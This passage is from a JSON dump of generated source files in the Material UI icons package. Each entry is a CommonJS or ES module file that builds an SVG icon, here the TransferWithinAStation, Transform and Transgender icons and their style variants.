    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.49 15.5v-1.75L14 16.25l2.49 2.5V17H22v-1.5zm3.02 4.25H14v1.5h5.51V23L22 20.5 19.51 18zM9.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M5.75 8.9 3 23h2.1l1.75-8L9 17v6h2v-7.55L8.95 13.4l.6-3C10.85 12 12.8 13 15 13v-2c-1.85 0-3.45-1-4.35-2.45l-.95-1.6C9.35 6.35 8.7 6 8 6q-.375 0-.75.15L2 8.3V13h2V9.65z\"\n}), 'TransferWithinAStation');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransferWithinAStation.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.49 15.5v-1.75L14 16.25l2.49 2.5V17H22v-1.5zm3.02 4.25H14v1.5h5.51V23L22 20.5 19.51 18zM9.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M5.75 8.9 3 23h2.1l1.75-8L9 17v6h2v-7.55L8.95 13.4l.6-3C10.85 12 12.8 13 15 13v-2c-1.85 0-3.45-1-4.35-2.45l-.95-1.6C9.35 6.35 8.7 6 8 6q-.375 0-.75.15L2 8.3V13h2V9.65z\"\n}), 'TransferWithinAStation');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransferWithinAStationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.49 15.5v-1.75L14 16.25l2.49 2.5V17H22v-1.5zm3.02 4.25H14v1.5h5.51V23L22 20.5 19.51 18zM9.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M5.75 8.9 3 23h2.1l1.75-8L9 17v6h2v-7.55L8.95 13.4l.6-3C10.85 12 12.8 13 15 13v-2c-1.85 0-3.45-1-4.35-2.45l-.95-1.6C9.35 6.35 8.7 6 8 6q-.375 0-.75.15L2 8.3V13h2V9.65z\"\n}), 'TransferWithinAStationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransferWithinAStationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.49 15.5v-1.75L14 16.25l2.49 2.5V17H22v-1.5zm3.02 4.25H14v1.5h5.51V23L22 20.5 19.51 18zM9.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M5.75 8.9 3 23h2.1l1.75-8L9 17v6h2v-7.55L8.95 13.4l.6-3C10.85 12 12.8 13 15 13v-2c-1.85 0-3.45-1-4.35-2.45l-.95-1.6C9.35 6.35 8.7 6 8 6q-.375 0-.75.15L2 8.3V13h2V9.65z\"\n}), 'TransferWithinAStationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransferWithinAStationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 15.5h-5.52v-.77c0-.36-.44-.54-.69-.29l-1.51 1.52c-.16.16-.16.41 0 .57l1.51 1.52c.26.26.69.08.69-.29V17H22zm-.28 4.71-1.51-1.52c-.26-.26-.69-.08-.69.29v.77H14v1.5h5.52v.77c0 .36.44.54.69.29l1.51-1.52c.16-.16.16-.42 0-.58M9.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M5.75 8.9 3.23 21.81c-.12.62.35 1.19.98 1.19h.09c.47 0 .88-.33.98-.79L6.85 15 9 17v5c0 .55.45 1 1 1s1-.45 1-1v-5.72c0-.53-.21-1.04-.59-1.41L8.95 13.4l.6-3c1.07 1.32 2.58 2.23 4.31 2.51.6.1 1.14-.39 1.14-1 0-.49-.36-.9-.84-.98-1.49-.25-2.75-1.15-3.51-2.38l-.95-1.6C9.35 6.35 8.7 6 8 6q-.375 0-.75.15L3.24 7.79C2.49 8.1 2 8.83 2 9.64V12c0 .55.45 1 1 1s1-.45 1-1V9.65z\"\n}), 'TransferWithinAStationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransferWithinAStationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 15.5h-5.52v-.77c0-.36-.44-.54-.69-.29l-1.51 1.52c-.16.16-.16.41 0 .57l1.51 1.52c.26.26.69.08.69-.29V17H22zm-.28 4.71-1.51-1.52c-.26-.26-.69-.08-.69.29v.77H14v1.5h5.52v.77c0 .36.44.54.69.29l1.51-1.52c.16-.16.16-.42 0-.58M9.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M5.75 8.9 3.23 21.81c-.12.62.35 1.19.98 1.19h.09c.47 0 .88-.33.98-.79L6.85 15 9 17v5c0 .55.45 1 1 1s1-.45 1-1v-5.72c0-.53-.21-1.04-.59-1.41L8.95 13.4l.6-3c1.07 1.32 2.58 2.23 4.31 2.51.6.1 1.14-.39 1.14-1 0-.49-.36-.9-.84-.98-1.49-.25-2.75-1.15-3.51-2.38l-.95-1.6C9.35 6.35 8.7 6 8 6q-.375 0-.75.15L3.24 7.79C2.49 8.1 2 8.83 2 9.64V12c0 .55.45 1 1 1s1-.45 1-1V9.65z\"\n}), 'TransferWithinAStationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransferWithinAStationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.49 15.5v-1.75L14 16.25l2.49 2.5V17H22v-1.5zm3.02 4.25H14v1.5h5.51V23L22 20.5 19.51 18zM9.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M5.75 8.9 3 23h2.1l1.75-8L9 17v6h2v-7.55L8.95 13.4l.6-3C10.85 12 12.8 13 15 13v-2c-1.85 0-3.45-1-4.35-2.45l-.95-1.6C9.35 6.35 8.7 6 8 6q-.375 0-.75.15L2 8.3V13h2V9.65z\"\n}), 'TransferWithinAStationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransferWithinAStationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.49 15.5v-1.75L14 16.25l2.49 2.5V17H22v-1.5zm3.02 4.25H14v1.5h5.51V23L22 20.5 19.51 18zM9.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M5.75 8.9 3 23h2.1l1.75-8L9 17v6h2v-7.55L8.95 13.4l.6-3C10.85 12 12.8 13 15 13v-2c-1.85 0-3.45-1-4.35-2.45l-.95-1.6C9.35 6.35 8.7 6 8 6q-.375 0-.75.15L2 8.3V13h2V9.65z\"\n}), 'TransferWithinAStationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransferWithinAStationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.49 13.75 14 16.25l2.49 2.5V17H22v-1.5h-5.51zm3.02 6H14v1.5h5.51V23L22 20.5 19.51 18zM7.5 3.5c0 1.1.9 2 2 2s2-.9 2-2-.9-2-2-2-2 .9-2 2m2.05 6.9C10.85 12 12.8 13 15 13v-2c-1.85 0-3.45-1-4.35-2.45l-.95-1.6C9.35 6.35 8.7 6 8 6q-.375 0-.75.15L2 8.3V13h2V9.65l1.75-.75L3 23h2.1l1.75-8L9 17v6h2v-7.55L8.95 13.4z\"\n}), 'TransferWithinAStationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransferWithinAStationTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.49 13.75 14 16.25l2.49 2.5V17H22v-1.5h-5.51zm3.02 6H14v1.5h5.51V23L22 20.5 19.51 18zM7.5 3.5c0 1.1.9 2 2 2s2-.9 2-2-.9-2-2-2-2 .9-2 2m2.05 6.9C10.85 12 12.8 13 15 13v-2c-1.85 0-3.45-1-4.35-2.45l-.95-1.6C9.35 6.35 8.7 6 8 6q-.375 0-.75.15L2 8.3V13h2V9.65l1.75-.75L3 23h2.1l1.75-8L9 17v6h2v-7.55L8.95 13.4z\"\n}), 'TransferWithinAStationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Transform.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 18v-2H8V4h2L7 1 4 4h2v2H2v2h4v8c0 1.1.9 2 2 2h8v2h-2l3 3 3-3h-2v-2zM10 8h6v6h2V8c0-1.1-.9-2-2-2h-6z\"\n}), 'Transform');"
  },
  {
    "path": "packages/mui-icons-material/lib/Transform.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 18v-2H8V4h2L7 1 4 4h2v2H2v2h4v8c0 1.1.9 2 2 2h8v2h-2l3 3 3-3h-2v-2zM10 8h6v6h2V8c0-1.1-.9-2-2-2h-6z\"\n}), 'Transform');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransformOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 18v-2H8V4h2L7 1 4 4h2v2H2v2h4v8c0 1.1.9 2 2 2h8v2h-2l3 3 3-3h-2v-2zM10 8h6v6h2V8c0-1.1-.9-2-2-2h-6z\"\n}), 'TransformOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransformOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 18v-2H8V4h2L7 1 4 4h2v2H2v2h4v8c0 1.1.9 2 2 2h8v2h-2l3 3 3-3h-2v-2zM10 8h6v6h2V8c0-1.1-.9-2-2-2h-6z\"\n}), 'TransformOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransformRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 16H9c-.55 0-1-.45-1-1V4h.79c.45 0 .67-.54.35-.85l-1.79-1.8c-.2-.2-.51-.2-.71 0l-1.79 1.8c-.31.31-.09.85.36.85H6v2H3c-.55 0-1 .45-1 1s.45 1 1 1h3v8c0 1.1.9 2 2 2h8v2h-.79c-.45 0-.67.54-.35.85l1.79 1.79c.2.2.51.2.71 0l1.79-1.79c.32-.31.09-.85-.35-.85H18v-2h3c.55 0 1-.45 1-1s-.45-1-1-1m-5-2h2V8c0-1.1-.9-2-2-2h-6v2h5c.55 0 1 .45 1 1z\"\n}), 'TransformRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransformRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 16H9c-.55 0-1-.45-1-1V4h.79c.45 0 .67-.54.35-.85l-1.79-1.8c-.2-.2-.51-.2-.71 0l-1.79 1.8c-.31.31-.09.85.36.85H6v2H3c-.55 0-1 .45-1 1s.45 1 1 1h3v8c0 1.1.9 2 2 2h8v2h-.79c-.45 0-.67.54-.35.85l1.79 1.79c.2.2.51.2.71 0l1.79-1.79c.32-.31.09-.85-.35-.85H18v-2h3c.55 0 1-.45 1-1s-.45-1-1-1m-5-2h2V8c0-1.1-.9-2-2-2h-6v2h5c.55 0 1 .45 1 1z\"\n}), 'TransformRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransformSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 18v-2H8V4h2L7 1 4 4h2v2H2v2h4v10h10v2h-2l3 3 3-3h-2v-2zM10 8h6v6h2V6h-8z\"\n}), 'TransformSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransformSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 18v-2H8V4h2L7 1 4 4h2v2H2v2h4v10h10v2h-2l3 3 3-3h-2v-2zM10 8h6v6h2V6h-8z\"\n}), 'TransformSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransformTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 4h2L7 1 4 4h2v2H2v2h4v8c0 1.1.9 2 2 2h8v2h-2l3 3 3-3h-2v-2h4v-2H8zm10 10V8c0-1.1-.9-2-2-2h-6v2h6v6z\"\n}), 'TransformTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransformTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 4h2L7 1 4 4h2v2H2v2h4v8c0 1.1.9 2 2 2h8v2h-2l3 3 3-3h-2v-2h4v-2H8zm10 10V8c0-1.1-.9-2-2-2h-6v2h6v6z\"\n}), 'TransformTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Transgender.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8c1.93 0 3.5 1.57 3.5 3.5S13.93 15 12 15s-3.5-1.57-3.5-3.5S10.07 8 12 8m4.53.38 3.97-3.96V7h2V1h-6v2h2.58l-3.97 3.97C14.23 6.36 13.16 6 12 6s-2.23.36-3.11.97l-.65-.65 1.41-1.41-1.41-1.42L6.82 4.9 4.92 3H7.5V1h-6v6h2V4.42l1.91 1.9-1.42 1.42L5.4 9.15l1.41-1.41.65.65c-.6.88-.96 1.95-.96 3.11 0 2.7 1.94 4.94 4.5 5.41V19H9v2h2v2h2v-2h2v-2h-2v-2.09c2.56-.47 4.5-2.71 4.5-5.41 0-1.16-.36-2.23-.97-3.12\"\n}), 'Transgender');"
  },
  {
    "path": "packages/mui-icons-material/lib/Transgender.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c1.93 0 3.5 1.57 3.5 3.5S13.93 15 12 15s-3.5-1.57-3.5-3.5S10.07 8 12 8m4.53.38 3.97-3.96V7h2V1h-6v2h2.58l-3.97 3.97C14.23 6.36 13.16 6 12 6s-2.23.36-3.11.97l-.65-.65 1.41-1.41-1.41-1.42L6.82 4.9 4.92 3H7.5V1h-6v6h2V4.42l1.91 1.9-1.42 1.42L5.4 9.15l1.41-1.41.65.65c-.6.88-.96 1.95-.96 3.11 0 2.7 1.94 4.94 4.5 5.41V19H9v2h2v2h2v-2h2v-2h-2v-2.09c2.56-.47 4.5-2.71 4.5-5.41 0-1.16-.36-2.23-.97-3.12\"\n}), 'Transgender');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransgenderOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8c1.93 0 3.5 1.57 3.5 3.5S13.93 15 12 15s-3.5-1.57-3.5-3.5S10.07 8 12 8m4.53.38 3.97-3.96V7h2V1h-6v2h2.58l-3.97 3.97C14.23 6.36 13.16 6 12 6s-2.23.36-3.11.97l-.65-.65 1.41-1.41-1.41-1.42L6.82 4.9 4.92 3H7.5V1h-6v6h2V4.42l1.91 1.9-1.42 1.42L5.4 9.15l1.41-1.41.65.65c-.6.88-.96 1.95-.96 3.11 0 2.7 1.94 4.94 4.5 5.41V19H9v2h2v2h2v-2h2v-2h-2v-2.09c2.56-.47 4.5-2.71 4.5-5.41 0-1.16-.36-2.23-.97-3.12\"\n}), 'TransgenderOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransgenderOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c1.93 0 3.5 1.57 3.5 3.5S13.93 15 12 15s-3.5-1.57-3.5-3.5S10.07 8 12 8m4.53.38 3.97-3.96V7h2V1h-6v2h2.58l-3.97 3.97C14.23 6.36 13.16 6 12 6s-2.23.36-3.11.97l-.65-.65 1.41-1.41-1.41-1.42L6.82 4.9 4.92 3H7.5V1h-6v6h2V4.42l1.91 1.9-1.42 1.42L5.4 9.15l1.41-1.41.65.65c-.6.88-.96 1.95-.96 3.11 0 2.7 1.94 4.94 4.5 5.41V19H9v2h2v2h2v-2h2v-2h-2v-2.09c2.56-.47 4.5-2.71 4.5-5.41 0-1.16-.36-2.23-.97-3.12\"\n}), 'TransgenderOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransgenderRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.5 1h-4c-.55 0-1 .45-1 1s.45 1 1 1h1.58l-3.97 3.97C14.23 6.36 13.16 6 12 6s-2.23.36-3.11.97l-.65-.65.7-.7c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-.7.7L4.92 3H6.5c.55 0 1-.45 1-1s-.45-1-1-1h-4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1s1-.45 1-1V4.42l1.91 1.9-.71.71c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l.71-.71.65.65c-.61.89-.97 1.96-.97 3.12 0 2.7 1.94 4.94 4.5 5.41V19h-1c-.55 0-1 .45-1 1s.45 1 1 1h1v1c0 .55.45 1 1 1s1-.45 1-1v-1h1c.55 0 1-.45 1-1s-.45-1-1-1h-1v-2.09c2.56-.47 4.5-2.71 4.5-5.41 0-1.16-.36-2.23-.97-3.12l3.97-3.96V6c0 .55.45 1 1 1s1-.45 1-1V2c0-.55-.45-1-1-1M12 15c-1.93 0-3.5-1.57-3.5-3.5S10.07 8 12 8s3.5 1.57 3.5 3.5S13.93 15 12 15\"\n}), 'TransgenderRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransgenderRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.5 1h-4c-.55 0-1 .45-1 1s.45 1 1 1h1.58l-3.97 3.97C14.23 6.36 13.16 6 12 6s-2.23.36-3.11.97l-.65-.65.7-.7c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-.7.7L4.92 3H6.5c.55 0 1-.45 1-1s-.45-1-1-1h-4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1s1-.45 1-1V4.42l1.91 1.9-.71.71c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l.71-.71.65.65c-.61.89-.97 1.96-.97 3.12 0 2.7 1.94 4.94 4.5 5.41V19h-1c-.55 0-1 .45-1 1s.45 1 1 1h1v1c0 .55.45 1 1 1s1-.45 1-1v-1h1c.55 0 1-.45 1-1s-.45-1-1-1h-1v-2.09c2.56-.47 4.5-2.71 4.5-5.41 0-1.16-.36-2.23-.97-3.12l3.97-3.96V6c0 .55.45 1 1 1s1-.45 1-1V2c0-.55-.45-1-1-1M12 15c-1.93 0-3.5-1.57-3.5-3.5S10.07 8 12 8s3.5 1.57 3.5 3.5S13.93 15 12 15\"\n}), 'TransgenderRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransgenderSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8c1.93 0 3.5 1.57 3.5 3.5S13.93 15 12 15s-3.5-1.57-3.5-3.5S10.07 8 12 8m4.53.38 3.97-3.96V7h2V1h-6v2h2.58l-3.97 3.97C14.23 6.36 13.16 6 12 6s-2.23.36-3.11.97l-.65-.65 1.41-1.41-1.41-1.42L6.82 4.9 4.92 3H7.5V1h-6v6h2V4.42l1.91 1.9-1.42 1.42L5.4 9.15l1.41-1.41.65.65c-.6.88-.96 1.95-.96 3.11 0 2.7 1.94 4.94 4.5 5.41V19H9v2h2v2h2v-2h2v-2h-2v-2.09c2.56-.47 4.5-2.71 4.5-5.41 0-1.16-.36-2.23-.97-3.12\"\n}), 'TransgenderSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransgenderSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c1.93 0 3.5 1.57 3.5 3.5S13.93 15 12 15s-3.5-1.57-3.5-3.5S10.07 8 12 8m4.53.38 3.97-3.96V7h2V1h-6v2h2.58l-3.97 3.97C14.23 6.36 13.16 6 12 6s-2.23.36-3.11.97l-.65-.65 1.41-1.41-1.41-1.42L6.82 4.9 4.92 3H7.5V1h-6v6h2V4.42l1.91 1.9-1.42 1.42L5.4 9.15l1.41-1.41.65.65c-.6.88-.96 1.95-.96 3.11 0 2.7 1.94 4.94 4.5 5.41V19H9v2h2v2h2v-2h2v-2h-2v-2.09c2.56-.47 4.5-2.71 4.5-5.41 0-1.16-.36-2.23-.97-3.12\"\n}), 'TransgenderSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransgenderTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8c1.93 0 3.5 1.57 3.5 3.5S13.93 15 12 15s-3.5-1.57-3.5-3.5S10.07 8 12 8m4.53.38 3.97-3.96V7h2V1h-6v2h2.58l-3.97 3.97C14.23 6.36 13.16 6 12 6s-2.23.36-3.11.97l-.65-.65 1.41-1.41-1.41-1.42L6.82 4.9 4.92 3H7.5V1h-6v6h2V4.42l1.91 1.9-1.42 1.42L5.4 9.15l1.41-1.41.65.65c-.6.88-.96 1.95-.96 3.11 0 2.7 1.94 4.94 4.5 5.41V19H9v2h2v2h2v-2h2v-2h-2v-2.09c2.56-.47 4.5-2.71 4.5-5.41 0-1.16-.36-2.23-.97-3.12\"\n}), 'TransgenderTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransgenderTwoTone.mjs",
